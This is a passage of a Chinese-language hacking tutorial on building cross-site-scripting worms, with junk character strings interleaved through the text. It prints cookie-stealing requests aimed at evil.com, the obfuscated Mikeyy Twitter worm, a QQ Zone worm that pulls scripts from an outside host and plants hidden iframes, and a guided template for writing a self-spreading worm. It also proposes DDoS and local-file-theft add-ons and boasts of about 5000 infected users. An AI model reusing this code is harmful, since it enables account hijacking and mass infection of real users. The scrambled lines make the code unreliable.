% U9 p8 W% @/ h$ p6 d# h! k  a, g复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
( m$ [: V! b! i; W2 B' M9 f9 h
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
8 j' _) i, O1 A/ q1 ]. W1 s
XmlHttp.send(null);
0 |- F. S7 r0 j: r
7 t0 _0 q: K. I$ c</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
( `1 V8 |# e. N# Y
( s3 F7 O. `. u2 tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

+ ~% i, E* F9 G% F
% s4 J. G  e# S: h# A0 F
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
( r8 I4 M, Q2 O6 e: S( X; }
. ]1 |6 q3 u! H3 PXmlHttp.send(null);
/ I: `0 Z- R2 L7 c% Z8 |
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
' G- |# s+ x2 H' R# E0 |
0 z( t; e3 ^6 q4 `6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

$ X+ M! k) n  G/ b4 l0 I" H4 N   2.   
# E/ U. L6 |' B. z  c, c5 k8 c) {
  w/ y$ a$ ^* e4 T$ l1 j   3. function XHConn(){  
7 f2 J# x# l: K% y8 e
   4.   var _0x6687x2,_0x6687x3=false;  
3 T3 o. ?$ |& C0 h
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

1 E, y" M7 j, R2 z+ K! ?& g  s   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
' `; L) w% Q: s& W/ l  U% d; w
   8.   catch(e) { _0x6687x2=false; }; }; };  
& ]* g+ `* _0 v7 L2 s复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  

, q/ z2 q7 X! j2 h% b   3.   var tmp_cookie=document.cookie;  
, W! P! }) |0 j- A6 \
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
6 t7 ~9 ?$ a, {* G7 O
% |4 E& Y: ~; |8 ~0 n1 h   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  

0 G, ?" n) H0 Z- c( O6 ^0 e   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
+ t% F! X+ F. y1 B
3 L2 Y' A) w4 z/ ~2 G4 t  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

; K( p6 b- k6 _! |4 v  _  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
% e+ ?  E% N. a; F  E" Z
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

! }2 X& `5 i3 o7 {1 k2 L) y  k  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

9 e+ y. s0 A9 C2 C9 C1 ~! k  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

% A/ N. _* V/ N  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
2 u! k% a, M* B0 W  Q/ L
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

$ _/ V5 w7 G7 y* K3 D" A  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
/ @1 L  w; B: t4 U8 G, D
2 j) |3 C$ B% d( s  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
! S3 v: L1 E. N; Q: x2 l
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
5 t2 q1 m5 A' Z4 r8 F, A. ^1 P2 {$ m
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
' E3 H  S1 Z: A# |5 D# F
  27.     
3 o$ o/ j, H) G" \  M% f) p" q! n
  28.   var ajaxConn= new XHConn();  

3 b+ J: ~! U$ s' R1 n  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
0 R9 C- |% g: O
' F/ N# ^6 B( s/ o  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
$ I3 ^: p# C) \! h* X( k( _- t
6 g7 d; J; D; _6 Z0 a0 C2 \2 t  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

! m3 U( d: f1 X) q1 o0 j% }  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
, K* n6 v8 F8 ~+ g6 t! g
& F, _7 j2 k. {6 D2 f: f# |  35.   var XSS=urlencode(genXSS);  

+ T0 \0 J6 {9 R4 V: A6 Z4 X9 g  36.   var ajaxConn2= new XHConn();  
. Q) i, Y" c  N( p0 z9 X9 [
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     

5 \' M) ~3 x, @0 D0 q' t3 B. s  39. } ;  

4 D7 o& D. O+ l! N$ Q8 @  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;
, M) p  I. X8 v5 Z, V

/ S! @" [  Z2 Z4 ^
& g; U: u# J7 {+ W9 ^( jvar shendu;shendu=4;

- l8 E; Q) _' \//---------------global---v------------------------------------------
- P, `; E+ [% \; X* s1 v( x
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
! D' s/ c+ q9 U- K5 u0 y( L
- ^7 ~% D% W+ ~" Y- Yvar myblogurl=new Array();var myblogid=new Array();

& [* P% n' e) x: S        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

6 y$ e* e  ^; ]        gurl=gurl.substring(0,gurle+3);        
& g* \8 ^- |' Z7 m* l$ g
' N* n2 n' G' |        var visitorID=top.document.documentElement.outerHTML;

. x8 y5 f' |/ q; F           var cookieS=visitorID.indexOf("g_iLoginUin = ");
, T9 g" Y* O/ \: a2 L. _
        visitorID=visitorID.substring(cookieS+14);
- [" n1 v" P) ]4 G( T' F3 b4 e
        cookieS=visitorID.indexOf(",");
# g* {' ~) U% k/ |5 F
' W, h& ~9 U, S& L# R        visitorID=visitorID.substring(0,cookieS);

, r5 ^: V( ^' v* j) T( c' Y, R        get_my_blog(visitorID);
. t# e  b4 d4 u+ g
        DOshuamy();

# H( {, n/ m0 X) l1 O9 P' H1 _

//挂马

function DOshuamy(){

- O$ G/ S9 b! J- Kvar ssr=document.getElementById("veryTitle");
! B) }4 b5 u# d
' x9 [+ r4 [0 P; ]& Kssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
% j. v$ O0 v8 j+ g7 @9 p% S1 u
+ K) v( Y/ a' t% C' z}



3 m  F# N, F, N# ?. K//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
: \& G* R3 V- P% r% M
6 f4 B" z: Z; N. T. k3 c   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
: O+ i; Y/ r# Z. w
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

& j( J4 r+ ?# V8 H3 r  `4 {   if(xhr){    //成功就执行下面的
" X' w& S$ @' l# Z; L
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;
" _/ }8 P% M/ |; U+ D$ ?
! h2 q6 W1 w( m# n+ Q9 ?4 Z     get_my_blogurl(guest);    //执行这个函数

# H  i- |" Q9 w( o( Y. c    }

}
8 M+ `$ ?. [( `  w# O+ X+ Y+ B
: y7 E! x+ g# C) W& `

//这里似乎是判断没有登录的

function get_my_blogurl(guest){
$ z2 d- T" S" z  a
9 t* w8 _8 `0 A3 t: k( v) b% O  var mybloglist=guest;
7 T' l7 c- T/ Q
, H+ R) p. @& o; X: ~3 M0 `  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){

# n2 c/ H/ d1 K; D4 m* D6 }( H     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

- c; i/ r1 L, h! Q     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
9 Q4 r5 p0 G% c9 g; W) y/ a
         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

" j- I7 ^9 o3 ~# j        }else{break;}
& V  i/ U, ?5 f& l' C6 X! g0 `
" Y- a; k: y2 p; L! L}

get_my_testself();    //执行这个函数

}


# ^$ Z; u# Z$ I* O7 w) o# A
//这里往哪跳就不知道了

function get_my_testself(){
" ^4 ^$ c6 `/ U) U! Z" q
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
$ T0 N2 O+ H' t. c/ X( \( `4 O
* z/ p# F9 W7 o) [4 h( ^      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
5 m9 y- L8 C& }, o/ U
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
0 n4 a# A2 P. S( c. N% c
& I1 g/ a: U3 \8 w      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

! s$ H' V3 _: x" ?. g, E$ W              xhr2.send();
) U5 l# L9 G6 h* d: Q
              guest2=xhr2.responseText;
$ U/ j+ b' {1 q" j9 Z6 r; P3 z
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
. q1 W) c' I4 }8 S+ Z
! l$ |  B8 H; E) {" h              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
2 q9 W8 @; k! s5 b4 T
' B9 \" v- r! V1 L$ r              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
. h; A& q# T. D- T$ m
7 P% r8 I: s( Q. ]+ b! ~' d                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
5 U, U" e) s3 E$ ~
  Y# a# l7 v. @# s$ n' `& w1 N                break;
2 Y4 c& R  X( _
               }

              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
6 Q' R* {# P) f, k! }1 i7 f6 m
* L, A" x1 F" P: x* G8 D1 I4 x. J                break;

               }
9 Q( i3 `4 y( h
5 |5 T5 F: f# ^  _% p* k/ [: F        }      

}
8 ^& C0 i4 N2 R2 V& {
) M2 R6 }6 \+ \  z; ~6 q: B}
% R0 c' B  A4 q9 D& I1 M

% h3 {0 K! T7 r" E. p4 m. u( N% t
+ N0 \/ i7 \" `6 m2 x8 I. e* j//--------------------------------------  
* p8 o/ j" G3 v4 L% M& F+ e! R7 D
//根据浏览器创建一个XMLHttpRequest对象
- v6 e( v' }+ I. V% w8 Y+ q
! j) e+ c! ?% nfunction createXMLHttpRequest(){
2 F0 M; J( o, @7 v$ r6 x+ _- G
    var XMLhttpObject=null;  
4 h5 z: I! s; W! k5 F+ }0 B& ^' u. x
4 Q( r" A; ^' C9 \+ x' D    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

( m& q4 w* S9 I1 @" r# t' Y    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
% }, U( ^; G8 e% J6 s& F7 u
- Q5 F; ?( G0 j  J8 |, ^        for(var i=0;i<MSXML.length;i++)  
6 @7 w$ R4 t6 U* s
& P8 ?! i; d' O6 {- J4 i        {  
; f. a$ p. y7 B
            try  

6 ^- ^) ^8 S* j4 p7 R0 [            {  
7 K; v3 R- t( a5 J: s1 e$ a
                XMLhttpObject=new ActiveXObject(MSXML);  

$ t, j1 I2 Z8 J6 J( l                break;  

" ~* V. J' t0 V. N$ g3 A            }  
. X6 g7 J' t$ F. f! ^# g% G
            catch (ex) {  

            }  

4 r) v. ^9 {' Y+ ]3 H6 [         }  

      }
1 @# Q# d1 B! Q9 B4 t5 Y" Z
return XMLhttpObject;
  ]$ g+ I5 u' X7 B1 p: {5 M0 m
}  
$ l8 L, y# V- K7 f

- N/ Z0 T1 C8 b- m/ K- h3 s
+ T' p; ]% `6 G. y& L: [+ u# ]: c//这里就是感染部分了
' L8 \! [) L1 S$ r4 X2 T" U
9 U: C1 C2 R, Nfunction add_js(visitorID,targetblogurlid,gurl){
; A. x: y; d- p; F; x
var s2=document.createElement('script');
- O2 f( Q& E( f! Y
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
* \# j# d, F/ ?! G& W7 H$ x- C0 D
5 a! m& A6 j/ u% ~  `4 xs2.type='text/javascript';
5 o% Q% Y& h4 O3 [0 |
5 v' g) h$ ]) B+ U6 E) Ndocument.getElementsByTagName('head').item(0).appendChild(s2);

}
: S! _' D' a: z& k* J6 `: b- K9 C


/ _8 x- L" d) ?  W, S5 }  ?function add_jsdel(visitorID,targetblogurlid,gurl){
# t/ ~3 G  y' D1 R9 i; V5 Y; X
# y% j% C! a* Y( K/ rvar s2=document.createElement('script');
2 i( f: P5 v* j8 G1 v; G
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

* a/ L/ J& \$ s0 H% Ls2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

$ I* `+ r3 O9 }. T. _}
! S3 D# u5 X) _复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
  H, Z, k) K* i0 b) R  w3 n& @/ B& ^1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
4 K+ P3 U+ l' N+ M# Z* Z
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
7 h6 h+ c/ v- Y* ?
5 R- b# y$ y# w1 s综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
1 C& @1 ?) U8 t/ b& ?- c

$ q7 H% v0 o5 |( K. Y6 K1 n% E下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
% n5 X( i$ x6 V
首先,自然是判断不同浏览器,创建不同的对象var request = false;

( u8 V$ V3 E5 e. d+ f  g% }if(window.XMLHttpRequest) {
& [6 _. I" f9 F
request = new XMLHttpRequest();
3 V8 h* m1 U/ k0 L0 j
/ k- l- O& t: J9 X$ N. S+ X% Rif(request.overrideMimeType) {
# s8 m! w1 m$ W. F
request.overrideMimeType('text/xml');

}
7 R" w5 w7 `/ |' L- n( A# `
} else if(window.ActiveXObject) {

9 ~! l* d; A) O. M- @7 \: K6 P: S0 avar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
1 Y8 }+ n5 d- R3 U9 v
2 Z- I5 q( P% t! yfor(var i=0; i<versions.length; i++) {
9 s5 f& X5 v( ?2 j  Z* |
try {

request = new ActiveXObject(versions);
) r4 k: N9 b4 S+ R  ]5 J. X
} catch(e) {}

  x; |6 j( s  e9 |3 u8 Y7 {) ^" W}
0 t* b$ \. z" q* u  \
}

9 J. y6 m9 t! w! @6 N) FxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
4 Q1 T6 W% l' [7 ]4 F
        var Browser_Version=parseFloat(navigator.appVersion);

; k& l0 D8 [; {; e+ b3 @! p: i2 A        var Browser_Agent=navigator.userAgent;

, U0 \- d5 U  w- q        
- N/ N4 N4 ?) y4 V4 y
        var Actual_Version,Actual_Name;
) @; S  ]3 q9 C3 c- i
- h3 M! k1 Q  d- z: v6 {% t" }  |# R        
: |3 }) @: c# @7 w
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
3 p% N! S) g6 G( A
8 b  ?3 q* B& B9 W' W1 l) z& [        var is_NN=(Browser_Name=="Netscape");
. u3 M  U1 q! T* q2 c# h% Q$ ]
        var is_Ch=(Browser_Name=="Chrome");

, f$ i0 Z  I6 d9 e+ B9 w* k        
: _- y0 N- a. y/ a
3 `2 X; o/ E8 q8 R7 s        if(is_NN){

            if(Browser_Version>=5.0){

* o; l  e6 A& {( `6 d                var Split_Sign=Browser_Agent.lastIndexOf("/");
9 K. ?% m9 \" T+ X
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

2 x7 F0 O0 Y5 d' v

- w  J( J; j0 C- B* n) M8 i( J* @                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: x7 O6 u' ^8 }, h; G  }% E
& a: I/ l  j8 E( h! O9 Y            }

2 _6 Y. E$ ?: Z5 O/ P8 B0 D* M            else{

& A" G3 C1 U% M$ h  d; [( I2 e                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
. K/ g, H2 w* C9 _8 w
            }

        }
# R2 H+ ~" E8 Z5 f8 g" A# F* o
& z( o; E1 |- @8 b. M5 ~4 w        else if(is_IE){
  N4 ^$ e8 z' }3 }6 o
% o0 v/ {0 i  J$ j            var Version_Start=Browser_Agent.indexOf("MSIE");

# l4 ]8 ]. ?9 f8 H# e" B# H            var Version_End=Browser_Agent.indexOf(";",Version_Start);

. w& S2 Q0 I: @$ E, s* u            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
$ b1 i( k2 Q; z& [6 S
            
7 V' h! p/ O$ }
( n# Y+ s2 k5 E/ ^" T; N* f  H            if(Browser_Agent.indexOf("Maxthon")!=-1){

8 ~) `+ j$ g. ]$ a' i                Actual_Name+="(Maxthon)";
) X: j: ?. U' d' v; c( m
) ^6 `: H2 n/ }7 k) z2 w; n) S: x( z            }

; Q5 P4 l0 g2 Y. k$ y/ g            else if(Browser_Agent.indexOf("Opera")!=-1){
7 n8 x  X* }5 q3 B# ?5 o
; z/ k( P1 O' o$ g% j( `                Actual_Name="Opera";
2 A7 s* ]4 [$ z+ x3 [
0 [' \) @) p* x! K                var tempstart=Browser_Agent.indexOf("Opera");
% V; M8 i; u5 I! m0 e% F8 S
                var tempend=Browser_Agent.length;

" x; w$ H5 ?/ t1 E; b7 |                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

- b0 F4 d% A! O4 w8 @        }

: J! `7 f- x  e  f7 B        else if(is_Ch){
6 C6 a' q3 _- Z' ]7 u. a+ a
            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
0 D4 X. C( x- |) @0 E# R% C
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
- M. f- @7 W2 n( `. M" h
8 U6 y5 q5 C! A* h3 h            Actual_Name=Browser_Name;

            
7 P7 X8 Z8 y6 M3 X# Z3 D3 [
            if(Browser_Agent.indexOf("Maxthon")!=-1){

2 t0 D4 N  }3 Q4 o9 V# j                Actual_Name+="(Maxthon)";

3 \7 M& M1 [5 b+ Y6 z            }

& }2 s" p. x" J% |1 f            else if(Browser_Agent.indexOf("Opera")!=-1){
$ F* F) z" M2 F2 k; @
                Actual_Name="Opera";

4 p/ {/ {4 U/ Z3 C4 L, b/ |! d                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
7 P  V$ C' M) u' N1 l' O; A
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
+ @/ T7 {+ j6 C" l1 f/ s# T/ n) l1 w6 n
& o( Y3 R& U0 R- ~        }

        else{

+ l* l) v+ t5 Y7 m            Actual_Name="Unknown Navigator"
0 F' k9 ~) X. j$ J1 U
( S6 U  j/ U' S            Actual_Version="Unknown Version"

. E- x( f- F$ V7 g# ~* m2 e        }
3 b4 k; E+ m( t/ r
2 ~; ?" `! p0 l% B5 f, e
2 D9 m- B( j  P% Q5 y1 @6 F
& i6 D) e* o9 y# t        navigator.Actual_Name=Actual_Name;
3 S0 Y# Y# N$ y8 J
$ e; H% b8 w, f7 k9 k0 Q2 E6 x0 \        navigator.Actual_Version=Actual_Version;

& c- F2 Q4 K( K        

        this.Name=Actual_Name;

        this.Version=Actual_Version;
& l: d3 Q& t( n$ }$ t4 k; ]
    }

! k3 [( c8 m0 U8 M4 x    browserinfo();
9 g/ h7 E- B% i. H  S) O
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
2 ^' z1 q/ {/ w3 d" _
( d! s% Z- X5 g/ ]& m* N3 j    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
- j, g6 I% f( b# @$ @复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);
5 B' G7 r" \$ k
var resource = xmlHttpReq.responseText;
! J: w$ O8 Q7 [+ Q
var id=0;var result;
9 {5 o" S4 S5 h: }8 L# ~
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
: T! U: b$ S' m( Y8 N1 l
3 ^' S2 G0 }5 m3 L- M. @id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

0 x% D- v6 r& t# N* {5 ]no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

& w: f& {4 W" e6 kvar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
" a4 V( }8 D" j9 f* s( j$ }
( h0 U. O, e2 z2 x3 i- R, hxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
: z; h) j9 i; W" D
; T1 j# P4 i; v5 uxmlHttpReq.setRequestHeader("content-length",post.length);
- K  c9 _  p* t% D# b: X
$ V, w. l& G- Q* |- @* \xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

, K$ e: \3 K+ _5 s( P. O) x( c0 C0 bxmlHttpReq.send(post);
+ F8 D$ a' Z, z! S7 C: n$ w; h
+ R8 m! ^/ e8 G}
* l$ |+ B0 t; {8 \! |# |- i/ w! K0 n# q复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
* C' k& Z; `- @3 n
; r) t" n# S1 }5 `8 g4 ?. C8 n  Lvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
2 t( A5 h# h# o. X" A1 {% ]2 h
! r& o8 T" M% O/ \7 [- C% Mvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
! F% `1 S7 p6 L' l- R7 F
' {- l* C& T+ W0 f4 |+ Q' X4 [* Zvar post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
( H6 J. b% s! i. p* R+ [9 m
xmlHttpReq.setRequestHeader("content-length",post.length);
7 g6 @) b+ r/ ~  I. ?
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

) U% _  u% A0 C4 l8 NxmlHttpReq.send(post);                 //把传播的信息 POST出去.
/ p2 k" L8 r% g7 i6 W; J6 A3 _
- e" Z( a3 b+ G5 o! I* x6 r  O}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
+ S/ u/ u: [+ }, N0 d) |


; U3 I6 y: L$ i9 r/ v本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
2 H! X7 O- T0 b$ S蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
" A! K+ h/ w9 T( s' t+ O操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

7 ~: f6 x$ |' j( R$ G
; z  v" X7 H# x6 s! W

$ g/ |- r# X$ o( v7 E0 V' q


9 j1 E% E" L* @5 [+ K- U8 S
本文引用文档资料:

6 p2 E7 o8 J9 w1 l7 U! W' N* j7 A1 x"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
